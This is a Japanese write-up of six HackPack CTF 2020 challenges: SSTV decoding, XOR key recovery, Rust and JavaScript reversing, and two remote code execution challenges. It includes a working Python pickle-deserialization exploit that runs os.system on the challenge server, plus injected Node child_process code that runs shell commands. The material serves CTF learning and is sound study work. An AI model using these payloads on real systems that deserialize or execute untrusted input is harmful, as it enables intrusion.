HackPack CTF 2020 Writeup

この大会は2020/4/18 2:00(JST)~2020/4/28 13:00(JST)に開催されました。
今回もチームで参戦。結果は1348点で418チーム中79位でした。
自分で解けた問題をWriteupとして書いておきます。

Soundy (misc)

wavの画像受信データがあるかもしれないので、sstvのツールでデコードしてみる。

$ sstv -d Scottie.wav -o flag.png
[sstv] Searching for calibration header... Found!    
[sstv] Detected SSTV mode Robot 36
[sstv] Decoding image...   [#############################################]  99%
[sstv] Reached end of audio whilst decoding.
[sstv] Drawing image data...
[sstv] ...Done!

デコードできて、端が切れているが、画像からフラグが読み取れた。
f:id:satou-y:20200430215034p:plain

flag{th1s_1$_sl0w_me3ss@ge}

SSME (misc)

$ nc cha.hackpack.club 41704
[*] Welcome to our Super Secure Message Encrypter (SSME - copyright pending)
[*] We use patented technology that only we have access to in order to safely ea
[*] Please use this tool to encrypt/decrypt messages

[*] Please select from the following options
1.) Encrypt a message
2.) Read a message
3.) Quit
> 1
What would you like to encrypt? ab
[+] Message encrypted: gANYAgAAAGFicQAu


[*] Please select from the following options
1.) Encrypt a message
2.) Read a message
3.) Quit
> 2
Please enter the encrypted string here: gANYAgAAAGFicQAu
[+] Message decrypted: ab

[*] Please select from the following options
1.) Encrypt a message
2.) Read a message
3.) Quit
>

暗号化と復号の機能があるが、何をすべきかしばらく考える。試しに復号で適当な文字を入れてみる。

$ nc cha.hackpack.club 41704
[*] Welcome to our Super Secure Message Encrypter (SSME - copyright pending)
[*] We use patented technology that only we have access to in order to safely encrypt your data
[*] Please use this tool to encrypt/decrypt messages

[*] Please select from the following options
1.) Encrypt a message
2.) Read a message
3.) Quit
> 2
Please enter the encrypted string here: ----
Traceback (most recent call last):
  File "/home/challenger/app.py", line 46, in <module>
    main()
  File "/home/challenger/app.py", line 37, in main
    dec = decrypt(to_dec)
  File "/home/challenger/app.py", line 24, in decrypt
    return pickle.loads(codecs.decode(to_dec.encode(), "base64"))
EOFError: Ran out of input

エラーが出て、復号で何をしているかわかり、暗号化で何をしているかもわかる。pickle.loadsを使っていることからデータを直列化したものが暗号化になっている。クラスオブジェクトの直列化をしてRCEでコマンド実行を行う。

#!/usr/bin/env python3
import socket
import pickle
import os
import base64

class Exploit(object):
    def __reduce__(self):
        global command
        return (os.system, ('{} '.format(command),),)

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('cha.hackpack.club', 41704))

command = 'ls -l'
payload = base64.b64encode(pickle.dumps(Exploit(), protocol=0))

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')

data = recvuntil(s, b': ')
print(data + payload.decode())
s.sendall(payload + b'\n')

command = 'cat flag.txt'
payload = base64.b64encode(pickle.dumps(Exploit(), protocol=0))

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')

data = recvuntil(s, b': ')
print(data + payload.decode())
s.sendall(payload + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

[*] Welcome to our Super Secure Message Encrypter (SSME - copyright pending)
[*] We use patented technology that only we have access to in order to safely encrypt your data
[*] Please use this tool to encrypt/decrypt messages

[*] Please select from the following options
1.) Encrypt a message
2.) Read a message
3.) Quit
> 2
Please enter the encrypted string here: Y3Bvc2l4CnN5c3RlbQpwMAooVmxzIC1sIApwMQp0cDIKUnAzCi4=
total 8
-rwxrwxr-x 1 root       root       1343 Apr 13 15:47 app.py
-rw-r--r-- 1 challenger challenger   40 Apr 13 17:36 flag.txt
[+] Message decrypted: 0

[*] Please select from the following options
1.) Encrypt a message
2.) Read a message
3.) Quit
> 2
Please enter the encrypted string here: Y3Bvc2l4CnN5c3RlbQpwMAooVmNhdCBmbGFnLnR4dCAKcDEKdHAyClJwMwou
flag{n3v3R_u$e_p!ckLe_w_uNtru$t3d_d4t4}
flag{n3v3R_u$e_p!ckLe_w_uNtru$t3d_d4t4}

Hiding in Plaintext (misc)

$ nc cha.hackpack.club 41715

Welcome to CryptoKid's Hall of MirrXors!

Here is BASE64(ENC(FLAG, SESSION_KEY)) => RjrlQKHhhN2myd3J0W6evTrCwVZ875jlJ5LOB=

Wanna guess what FLAG is? abcdad


Here is BASE64(ENC(GUESS, SESSION_KEY)) => QTTnQ7vr

How'd you do??

Hahahahahaha, try again...

FLAGとSESSION_KEYのXORのBase64文字列が表示される。この段階で推測は不可能。同じ長さの文字列を適当に入れ、SESSION_KEYとのXORのBase64文字列が表示されるので、SESSION_KEYを計算することができる。あとは、それとFLAGの暗号化文字列とXORを取れば、フラグが復号できる。

import socket
from base64 import b64decode
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('cha.hackpack.club', 41715))

data = recvuntil(s, '? ')
print data[:-1],

flag_enc = b64decode(data.split('\n')[3].split(' => ')[1])

try_pt = 'a' * len(flag_enc)
print try_pt
s.sendall(try_pt + '\n')

data = recvuntil(s, '...\n').rstrip()
print data

try_ct = b64decode(data.split('\n')[2].split(' => ')[1])

session_key = strxor(try_pt, try_ct)
flag = strxor(flag_enc, session_key)
print ''
print flag

実行結果は以下の通り。

Welcome to CryptoKid's Hall of MirrXors!

Here is BASE64(ENC(FLAG, SESSION_KEY)) => +sObU0j+Kv1Q8qOqV3a7Wz3vKPgQwui11p0OCZcKJqZ8QTnibOwsnq+mQl3Y/QqCiZ+F5l8P5opUHA==

Wanna guess what FLAG is? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


Here is BASE64(ENC(GUESS, SESSION_KEY)) => /c6bVVLxe+gc56r4G3rqSSijePQB0bqnxM0ZW9sbK4csTiywdflgiburTRHb6R/On5bUql0u9dhGAA==

How'd you do??

Hahahahahaha, try again...

flag{n0t-th3-m0st-1mpr3ss1v3-pl@1nt3xt-vuln-but-wh0-c@r3s}
flag{n0t-th3-m0st-1mpr3ss1v3-pl@1nt3xt-vuln-but-wh0-c@r3s}

RustyVault (re)

$ ./rusty_vault
[*] Please enter the key to unlock the vault
hoge
[*] You entered: hoge
[-] Incorrect!

keyを比較している部分までgdbで進めていく。都度関数内部に入っていく。

$ gdb -q ./rusty_vault
Reading symbols from ./rusty_vault...done.
gdb-peda$ b main
Breakpoint 1 at 0xab60
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/rusty_vault 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[----------------------------------registers----------------------------------]
RAX: 0x55555555eb60 (<main>:	push   rax)
RBX: 0x0 
RCX: 0x3 
RDX: 0x7fffffffe048 --> 0x7fffffffe399 ("CLUTTER_IM_MODU"...)
RSI: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RDI: 0x1 
RBP: 0x5555555a9a40 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdf58 --> 0x7ffff71c2b97 (<__libc_start_main+231>:	mov    edi,eax)
RIP: 0x55555555eb60 (<main>:	push   rax)
R8 : 0x0 
R9 : 0x1c0000 
R10: 0x7ffff733fcc0 --> 0x2000200020002 
R11: 0x246 
R12: 0x55555555dab0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe030 --> 0x1 
R14: 0x0 
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]


Breakpoint 1, 0x000055555555eb60 in main ()
gdb-peda$ n
[----------------------------------registers----------------------------------]
RAX: 0x55555555eb60 (<main>:	push   rax)
RBX: 0x0 
RCX: 0x3 
RDX: 0x7fffffffe048 --> 0x7fffffffe399 ("CLUTTER_IM_MODU"...)
RSI: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RDI: 0x1 
RBP: 0x5555555a9a40 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdf50 --> 0x55555555eb60 (<main>:	push   rax)
RIP: 0x55555555eb61 (<main+1>:	mov    rax,rsi)
R8 : 0x0 
R9 : 0x1c0000 
R10: 0x7ffff733fcc0 --> 0x2000200020002 
R11: 0x246 
R12: 0x55555555dab0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe030 --> 0x1 
R14: 0x0 
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x000055555555eb61 in main ()
gdb-peda$ n
[----------------------------------registers----------------------------------]
RAX: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RBX: 0x0 
RCX: 0x3 
RDX: 0x7fffffffe048 --> 0x7fffffffe399 ("CLUTTER_IM_MODU"...)
RSI: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RDI: 0x1 
RBP: 0x5555555a9a40 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdf50 --> 0x55555555eb60 (<main>:	push   rax)
RIP: 0x55555555eb64 (<main+4>:	movsxd rdx,edi)
R8 : 0x0 
R9 : 0x1c0000 
R10: 0x7ffff733fcc0 --> 0x2000200020002 
R11: 0x246 
R12: 0x55555555dab0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe030 --> 0x1 
R14: 0x0 
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x000055555555eb64 in main ()
gdb-peda$ n
[----------------------------------registers----------------------------------]
RAX: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RBX: 0x0 
RCX: 0x3 
RDX: 0x1 
RSI: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RDI: 0x1 
RBP: 0x5555555a9a40 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdf50 --> 0x55555555eb60 (<main>:	push   rax)
RIP: 0x55555555eb67 (<main+7>:	lea    rcx,[rip+0xfffffffffffff102]        # 0x55555555dc70 <_ZN11rusty_vault4main17h01669180137fcbb4E>)
R8 : 0x0 
R9 : 0x1c0000 
R10: 0x7ffff733fcc0 --> 0x2000200020002 
R11: 0x246 
R12: 0x55555555dab0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe030 --> 0x1 
R14: 0x0 
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x000055555555eb67 in main ()
gdb-peda$ n
[----------------------------------registers----------------------------------]
RAX: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RBX: 0x0 
RCX: 0x55555555dc70 (<_ZN11rusty_vault4main17h01669180137fcbb4E>:	push   rbp)
RDX: 0x1 
RSI: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RDI: 0x1 
RBP: 0x5555555a9a40 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdf50 --> 0x55555555eb60 (<main>:	push   rax)
RIP: 0x55555555eb6e (<main+14>:	mov    QWORD PTR [rsp],rcx)
R8 : 0x0 
R9 : 0x1c0000 
R10: 0x7ffff733fcc0 --> 0x2000200020002 
R11: 0x246 
R12: 0x55555555dab0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe030 --> 0x1 
R14: 0x0 
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x000055555555eb6e in main ()
gdb-peda$ n
[----------------------------------registers----------------------------------]
RAX: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RBX: 0x0 
RCX: 0x55555555dc70 (<_ZN11rusty_vault4main17h01669180137fcbb4E>:	push   rbp)
RDX: 0x1 
RSI: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RDI: 0x1 
RBP: 0x5555555a9a40 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdf50 --> 0x55555555dc70 (<_ZN11rusty_vault4main17h01669180137fcbb4E>:	push   rbp)
RIP: 0x55555555eb72 (<main+18>:	lea    rsi,[rip+0x25ffd7]        # 0x5555557beb50 <anon.4e5ae921a0abba8576a078a69e298cf1.0.llvm.11140362644264669943>)
R8 : 0x0 
R9 : 0x1c0000 
R10: 0x7ffff733fcc0 --> 0x2000200020002 
R11: 0x246 
R12: 0x55555555dab0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe030 --> 0x1 
R14: 0x0 
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x000055555555eb72 in main ()
gdb-peda$ n
[----------------------------------registers----------------------------------]
RAX: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RBX: 0x0 
RCX: 0x55555555dc70 (<_ZN11rusty_vault4main17h01669180137fcbb4E>:	push   rbp)
RDX: 0x1 
RSI: 0x5555557beb50 --> 0x55555555ebb0 (<_ZN4core3ptr13drop_in_place17hf953b1fcd34e9211E>:	ret)
RDI: 0x1 
RBP: 0x5555555a9a40 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdf50 --> 0x55555555dc70 (<_ZN11rusty_vault4main17h01669180137fcbb4E>:	push   rbp)
RIP: 0x55555555eb79 (<main+25>:	mov    rdi,rsp)
R8 : 0x0 
R9 : 0x1c0000 
R10: 0x7ffff733fcc0 --> 0x2000200020002 
R11: 0x246 
R12: 0x55555555dab0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe030 --> 0x1 
R14: 0x0 
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x000055555555eb79 in main ()
gdb-peda$ n
[----------------------------------registers----------------------------------]
RAX: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RBX: 0x0 
RCX: 0x55555555dc70 (<_ZN11rusty_vault4main17h01669180137fcbb4E>:	push   rbp)
RDX: 0x1 
RSI: 0x5555557beb50 --> 0x55555555ebb0 (<_ZN4core3ptr13drop_in_place17hf953b1fcd34e9211E>:	ret)
RDI: 0x7fffffffdf50 --> 0x55555555dc70 (<_ZN11rusty_vault4main17h01669180137fcbb4E>:	push   rbp)
RBP: 0x5555555a9a40 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdf50 --> 0x55555555dc70 (<_ZN11rusty_vault4main17h01669180137fcbb4E>:	push   rbp)
RIP: 0x55555555eb7c (<main+28>:	mov    rcx,rax)
R8 : 0x0 
R9 : 0x1c0000 
R10: 0x7ffff733fcc0 --> 0x2000200020002 
R11: 0x246 
R12: 0x55555555dab0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe030 --> 0x1 
R14: 0x0 
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x000055555555eb7c in main ()
gdb-peda$ n
[----------------------------------registers----------------------------------]
RAX: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RBX: 0x0 
RCX: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RDX: 0x1 
RSI: 0x5555557beb50 --> 0x55555555ebb0 (<_ZN4core3ptr13drop_in_place17hf953b1fcd34e9211E>:	ret)
RDI: 0x7fffffffdf50 --> 0x55555555dc70 (<_ZN11rusty_vault4main17h01669180137fcbb4E>:	push   rbp)
RBP: 0x5555555a9a40 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdf50 --> 0x55555555dc70 (<_ZN11rusty_vault4main17h01669180137fcbb4E>:	push   rbp)
RIP: 0x55555555eb7f (<main+31>:	call   QWORD PTR [rip+0x264323]        # 0x5555557c2ea8)
R8 : 0x0 
R9 : 0x1c0000 
R10: 0x7ffff733fcc0 --> 0x2000200020002 
R11: 0x246 
R12: 0x55555555dab0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe030 --> 0x1 
R14: 0x0 
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x000055555555eb7f in main ()
gdb-peda$ s
[----------------------------------registers----------------------------------]
RAX: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RBX: 0x0 
RCX: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
RDX: 0x1 
RSI: 0x5555557beb50 --> 0x55555555ebb0 (<_ZN4core3ptr13drop_in_place17hf953b1fcd34e9211E>:	ret)
RDI: 0x7fffffffdf50 --> 0x55555555dc70 (<_ZN11rusty_vault4main17h01669180137fcbb4E>:	push   rbp)
RBP: 0x5555555a9a40 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdeb0 --> 0xffffffff 
RIP: 0x55555555fd3a (<std::rt::lang_start_internal+26>:	mov    edi,0xd)
R8 : 0x0 
R9 : 0x1c0000 
R10: 0x7ffff733fcc0 --> 0x2000200020002 
R11: 0x246 
R12: 0x55555555dab0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe030 --> 0x1 
R14: 0x7fffffffe038 --> 0x7fffffffe37c ("/mnt/hgfs/Share"...)
R15: 0x1
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

std::sys::unix::init::reset_sigpipe () at libstd/sys/unix/mod.rs:86
86	libstd/sys/unix/mod.rs: そのようなファイルやディレクトリはありません.

                :

gdb-peda$ n
[----------------------------------registers----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x55555555dc70 (<_ZN11rusty_vault4main17h01669180137fcbb4E>:	push   rbp)
RDX: 0x5555555aa208 --> 0x2 
RSI: 0x0 
RDI: 0x7fffffffde48 --> 0x5555557c3130 --> 0x3 
RBP: 0x5555555a9a40 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdf60 --> 0x1 
RIP: 0x7ffff71c2b97 (<__libc_start_main+231>:	mov    edi,eax)
R8 : 0x0 
R9 : 0x7ffff6c29020 ("Th3_K3Y_2_d3_v4"...)
R10: 0x1 
R11: 0x217 
R12: 0x55555555dab0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe030 --> 0x1 
R14: 0x0 
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

__libc_start_main (main=0x55555555eb60 <main>, argc=0x1, argv=0x7fffffffe038, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe028) at ../csu/libc-start.c:344
344	../csu/libc-start.c: そのようなファイルやディレクトリはありません.
gdb-peda$ x/2s 0x7ffff6c1f080
0x7ffff6c1f080:	"Th3_K3Y_2_d3_v4"...
0x7ffff6c1f08f:	"uLt"
gdb-peda$ n
[Inferior 1 (process 8950) exited normally]

keyは"Th3_K3Y_2_d3_v4uLt"であるとわかるので、ローカルで試してみる。

$ ./rusty_vault
[*] Please enter the key to unlock the vault
Th3_K3Y_2_d3_v4uLt
[*] You entered: Th3_K3Y_2_d3_v4uLt
thread 'main' panicked at '[-] Unable to read flag.txt: Os { code: 2, kind: NotFound, message: "No such file or directory" }', libcore/result.rs:1009:5
note: Run with `RUST_BACKTRACE=1` for a backtrace.

サーバで同様に試す。

$ nc cha.hackpack.club 41707
[*] Please enter the key to unlock the vault
Th3_K3Y_2_d3_v4uLt
[*] You entered: Th3_K3Y_2_d3_v4uLt
[+] Vault unlocked
[+] Here's your precious flag: flag{!snt_Ru$t_c0Ol?}
flag{!snt_Ru$t_c0Ol?}

PatienceJS (re)

使っているjsを整形する。

const _0x_0x362d = ['charCodeAt', '0xm', 'from', '0xs', 'unshift', 'value', 'getElementById'];
(function(_0xe40be0, _0x362d5c) {
    const _0x37a08f = function(_0x4115ff) {
        while (--_0x4115ff) {
            _0xe40be0['push'](_0xe40be0['shift']());
        }
    };
    _0x37a08f(++_0x362d5c);
}(_0x_0x362d, 0x9f));
const _0x_0x37a0 = function(_0xe40be0, _0x362d5c) {
    _0xe40be0 = _0xe40be0 - 0x0;
    let _0x37a08f = _0x_0x362d[_0xe40be0];
    return _0x37a08f;
};

function _0x_0x4d92b3(_0x2073b6) {
    for (let _0xacb926 = 0x42; _0xacb926 > 0x0;) _0x2073b6[_0x_0x37a0('0x6')](_0x2073b6['pop']()), --_0xacb926;
    return _0x2073b6['join']('');
}

function _0x_0x520818() {
    return _0x_0x15514a() + 0x2;
}

function _0x_0x3e8cac() {
    return _0x_0x5e606f() - 0x3;
}

function _0x_0x3cba06() {
    return _0x_0x113447() + 0x4;
}

function _0x_0x2084e6() {
    return _0x_0x458ed9() + 0x2;
}

function _0x_0x15514a() {
    return _0x_0x5c9995() - 0x3;
}

function _0x_0x4c8b01() {
    return _0x_0x1cbc84() - 0x7;
}

function _0x_0x41d5db() {
    return _0x_0x5a044c() - 0x3;
}

function _0x_0x508602() {
    return _0x_0x2f88c3() + 0x9;
}

function _0x_0x190d39() {
    return _0x_0x113447() + 0x2;
}

function _0x_0x5a044c() {
    return _0x_0x5e606f() - 0x2;
}

function _0x_0x5c9995() {
    return _0x_0x113447() - 0x2;
}

function _0x_0x113447() {
    return _0x_0x155839() - 0x6;
}

function _0x_0x26c89c() {
    return _0x_0x7774ae() - 0xa;
}

function _0x_0x155839() {
    return _0x_0x1cbc84() - 0x4;
}

function _0x_0x7774ae() {
    return _0x_0x5e606f() + 0x6;
}

function _0x_0x2f88c3() {
    return _0x_0x458ed9() - 0xa;
}

function _0x_0x1cbc84() {
    return _0x_0x5e606f() - 0x9;
}

function _0x_0x458ed9() {
    return _0x_0x5e606f() - 0x46;
}

function _0x_0x5e606f() {
    return 0xa0 - 0x29;
}

function _0x_0x4c89a5(_0x26f0f9) {
    try {
        let _0x13d51d = _0x_0x4d92b3(Array[_0x_0x37a0('0x4')](_0x26f0f9));
        for (let _0x23f038 = 0x1b; _0x23f038 > 0x0; _0x23f038--) {
            if (_0x23f038 === 0x17) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x4c8b01()) {★103
                    return -0x1;
                }
            } else if (_0x23f038 === 0x1) {
                if (_0x13d51d['charCodeAt'](_0x23f038) !== _0x_0x3e8cac()) {★116
                    return -0x1;
                }
            } else if (_0x23f038 === 0x19) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x190d39()) {★102
                    return -0x1;
                }
            } else if (_0x23f038 === 0x3 || _0x23f038 === 0x14) {
                if (_0x13d51d['charCodeAt'](_0x23f038) !== _0x_0x2084e6()) {★51
                    return -0x1;
                }
            } else if (_0x23f038 === 0x16) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x5a044c()) {★117
                    return -0x1;
                }
            } else if (_0x23f038 === 0x8) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x2f88c3()) {★39
                    return -0x1;
                }
            } else if (_0x23f038 === 0xc) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x520818()) {★97
                    return -0x1;
                }
            } else if (_0x23f038 === 0x15) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x5c9995()) {★98
                    return -0x1;
                }
            } else if (_0x23f038 === 0x10) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x155839()) {★106
                    return -0x1;
                }
            } else if (_0x23f038 === 0x0 || _0x23f038 === 0x18 || _0x23f038 === 0x12 || _0x23f038 === 0x4) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x15514a()) {★95
                    return -0x1;
                }
            } else if (_0x23f038 === 0x1a) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x508602()) {★48
                    return -0x1;
                }
            } else if (_0x23f038 === 0x5) {
                if (_0x13d51d['charCodeAt'](_0x23f038) !== _0x_0x5e606f()) {★119
                    return -0x1;
                }
            } else if (_0x23f038 === 0x11) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x26c89c()) {★115
                    return -0x1;
                }
            } else if (_0x23f038 === 0x7) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x1cbc84()) {★110
                    return -0x1;
                }
            } else if (_0x23f038 === 0x2) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x3cba06()) {★104
                    return -0x1;
                }
            } else if (_0x23f038 === 0x1b) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x41d5db()) {★114
                    return -0x1;
                }
            } else if (_0x23f038 === 0x9) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x7774ae()) {★125
                    return -0x1;
                }
            } else if (_0x23f038 === 0x13) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x113447()) {★100
                    return -0x1;
                }
            } else if (_0x23f038 === 0x6) {
                if (_0x13d51d[_0x_0x37a0('0x2')](_0x23f038) !== _0x_0x458ed9()) {★49
                    return -0x1;
                }
            }
        }
        return 0x0;
    } catch (_0x195dd0) {}
    return -0x1;
}

function _0x_0x577efd() {
    let _0x36da4d = document[_0x_0x37a0('0x1')](_0x_0x37a0('0x5'))[_0x_0x37a0('0x0')],
        _0x31fcb6 = document[_0x_0x37a0('0x1')](_0x_0x37a0('0x3'));
    _0x31fcb6['innerHTML'] = _0x_0x4c89a5(_0x36da4d) ? 'No!' : 'Congrats!';
};

ブラウザのデベロッパーツールのConsoleタブで比較している式の右辺の値を確認する。上記のコード内に★で書き込んだのがその結果。あとはインデックスを見ながら、文字を並べ替える。

          111111111122222222
0123456789012345678901234567
_th3_w1n'}  a   js_d3bug_f0r

シフトする。

??a???js_d3bug_f0r_th3_w1n'}

ここまで合っていると、Congrats!と表示される。あとは推測するしかない。

flag{'js_d3bug_f0r_th3_w1n'}

jsclean (pwn)

添付のコードを見ると、jsファイル名とそのファイル内のコードを指定すると、"node index.js -f <指定jsファイル>" を実行し、その結果を表示するようになっている。
指定したコマンドを実行するコードで、index.jsを上書きすればよい。

$ nc cha.hackpack.club 41718
Welcome To JavaScript Cleaner
Enter Js File Name To Clean: index.js
Submit valid JavaScript Code: const exec = require('child_process').exec; exec('ls -la', (err, stdout, stderr) => { if (err) { console.log(err); } console.log(stdout);});
total 60
drwxr-xr-x 1 jsclean jsclean  4096 Apr 13 19:24 .
drwxr-xr-x 1 root    root     4096 Apr 13 19:24 ..
-rw-r--r-- 1 jsclean jsclean   220 May 15  2017 .bash_logout
-rw-r--r-- 1 jsclean jsclean  3526 May 15  2017 .bashrc
-rw-r--r-- 1 jsclean jsclean   675 May 15  2017 .profile
-rw-rw-r-- 1 jsclean jsclean    26 Apr 13 19:17 flag.txt
-rw-rw-r-- 1 jsclean jsclean   140 Apr 27 22:47 index.js
-rw-rw-r-- 1 jsclean jsclean   562 Apr 13 19:17 jsclean.py
drwxr-xr-x 1 jsclean jsclean  4096 Apr 13 19:24 node_modules
-rw-r--r-- 1 jsclean jsclean 11370 Apr 13 19:24 package-lock.json
-rw-rw-r-- 1 jsclean jsclean   311 Apr 13 19:17 package.json

$ nc cha.hackpack.club 41718
Welcome To JavaScript Cleaner
Enter Js File Name To Clean: index.js
Submit valid JavaScript Code: const exec = require('child_process').exec; exec('cat flag.txt', (err, stdout, stderr) => { if (err) { console.log(err); } console.log(stdout);});
flag{Js_N3v3R_FuN_2_Re4d}
flag{Js_N3v3R_FuN_2_Re4d}